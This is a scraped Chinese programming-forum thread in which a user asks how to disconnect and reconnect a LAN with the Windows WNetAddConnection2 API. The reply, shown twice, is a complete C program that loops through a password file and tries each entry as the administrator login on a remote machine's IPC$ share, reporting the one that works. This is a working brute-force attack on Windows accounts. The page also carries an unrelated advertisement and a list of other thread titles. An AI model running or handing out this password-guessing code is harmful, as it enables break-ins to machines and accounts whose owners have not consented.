求教!WNETADDCONNECTION2,和 WENTCANCELCONNECTION2可以用来断开和重连局域网吗? 顶有什么别的办法断开和重连局域网 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 再顶~~~~~~~~~~~~~~~~! 急~~~~~~~~~~~~~~~~~~~阿有什么别的办法断开和重连局域网 再再再顶~~~~~~~~~~~~~~~~! 急~~~~~~~~~~~~~~~~~~~阿有什么别的办法断开和重连局域网 #include<stdio.h>#include<windows.h>#include<lm.h>#include<assert.h>#pragma comment(lib,"Netapi32.lib")#pragma comment(lib,"mpr.lib")#define USER_NAME "\\\\aaaa" //计算机名称#define LOG_NAME "administrator"void ShowErrorMsg(){ LPVOID Msg; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), 0, (LPTSTR)&Msg, NULL, NULL); printf("error: %s\n",(LPCTSTR)Msg);}void main(){ FILE *fp; NETRESOURCE netr; BOOL passed=FALSE; char netbuf[MAX_PATH]={0}; char pass1[MAX_PATH]={0}; char pass2[MAX_PATH]={0}; /* memset(&netr,0,sizeof(netr)); sprintf(netbuf,"%s\\ipc$",USER_NAME); netr.dwScope = RESOURCE_GLOBALNET; netr.dwType = RESOURCETYPE_ANY; netr.lpLocalName = ""; netr.lpRemoteName = netbuf; netr.lpProvider = NULL; */ if((fp = fopen("Pass.txt","r")) == NULL) { printf("open pass.txt failed\n"); return; } while(!feof(fp)) { memset(&netr,0,sizeof(netr)); sprintf(netbuf,"%s\\ipc$",USER_NAME); netr.dwScope = RESOURCE_GLOBALNET; netr.dwType = RESOURCETYPE_ANY; netr.lpLocalName = ""; netr.lpRemoteName = netbuf; netr.lpProvider = NULL; fgets(pass1,sizeof(pass1),fp); //从文件中读取密码 strncpy(pass2,pass1,strlen(pass1)-1); printf("using:\t%s\n",pass2); if(WNetAddConnection2(&netr,(LPCTSTR)pass2,(LPCTSTR)LOG_NAME,NULL) == NO_ERROR) { printf("NT PASS:\t%s\t!!!!!!\n",pass2); passed = TRUE; fclose(fp); break; return; } memset(pass1,0,sizeof(pass1)); memset(pass2,0,sizeof(pass2)); } printf("Enum password complete!\n"); if(passed) { sprintf(netbuf,"%s",USER_NAME); if(WNetCancelConnection2(netbuf,CONNECT_UPDATE_PROFILE,TRUE) == NO_ERROR) //短开连接 printf("cancel null connection successfully\n"); else printf("cancel null connection failed\n"); } } vc2008中,GetDlgItemText不能直接赋给char吗? 进程外服务器 求网页制作,美工人才 问个指针的问题 怎样在LISTBOX中增加水平条, 一个简单的钩子安装问题 当应用程序或操作系统向Event Log中的“系统”和“应用程序”写入事件时,会触发哪个Windows消息? 有一事不明! email地址的标准格式,有效字符集是什么? 程序做好了,怎样做帮助文档? socket问题 有关VC ODBC的问题-----100分
有什么别的办法断开和重连局域网
有什么别的办法断开和重连局域网
#include<windows.h>
#include<lm.h>
#include<assert.h>#pragma comment(lib,"Netapi32.lib")
#pragma comment(lib,"mpr.lib")#define USER_NAME "\\\\aaaa" //计算机名称
#define LOG_NAME "administrator"
void ShowErrorMsg()
{
LPVOID Msg;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
0,
(LPTSTR)&Msg,
NULL,
NULL);
printf("error: %s\n",(LPCTSTR)Msg);
}void main()
{
FILE *fp;
NETRESOURCE netr;
BOOL passed=FALSE;
char netbuf[MAX_PATH]={0};
char pass1[MAX_PATH]={0};
char pass2[MAX_PATH]={0};
/*
memset(&netr,0,sizeof(netr));
sprintf(netbuf,"%s\\ipc$",USER_NAME);
netr.dwScope = RESOURCE_GLOBALNET;
netr.dwType = RESOURCETYPE_ANY;
netr.lpLocalName = "";
netr.lpRemoteName = netbuf;
netr.lpProvider = NULL;
*/
if((fp = fopen("Pass.txt","r")) == NULL)
{
printf("open pass.txt failed\n");
return;
} while(!feof(fp))
{
memset(&netr,0,sizeof(netr));
sprintf(netbuf,"%s\\ipc$",USER_NAME);
netr.dwScope = RESOURCE_GLOBALNET;
netr.dwType = RESOURCETYPE_ANY;
netr.lpLocalName = "";
netr.lpRemoteName = netbuf;
netr.lpProvider = NULL;
fgets(pass1,sizeof(pass1),fp); //从文件中读取密码
strncpy(pass2,pass1,strlen(pass1)-1);
printf("using:\t%s\n",pass2);
if(WNetAddConnection2(&netr,(LPCTSTR)pass2,(LPCTSTR)LOG_NAME,NULL) == NO_ERROR)
{
printf("NT PASS:\t%s\t!!!!!!\n",pass2);
passed = TRUE;
fclose(fp);
break;
return;
}
memset(pass1,0,sizeof(pass1));
memset(pass2,0,sizeof(pass2));
}
printf("Enum password complete!\n");
if(passed)
{
sprintf(netbuf,"%s",USER_NAME);
if(WNetCancelConnection2(netbuf,CONNECT_UPDATE_PROFILE,TRUE) == NO_ERROR) //短开连接
printf("cancel null connection successfully\n");
else
printf("cancel null connection failed\n");
}
}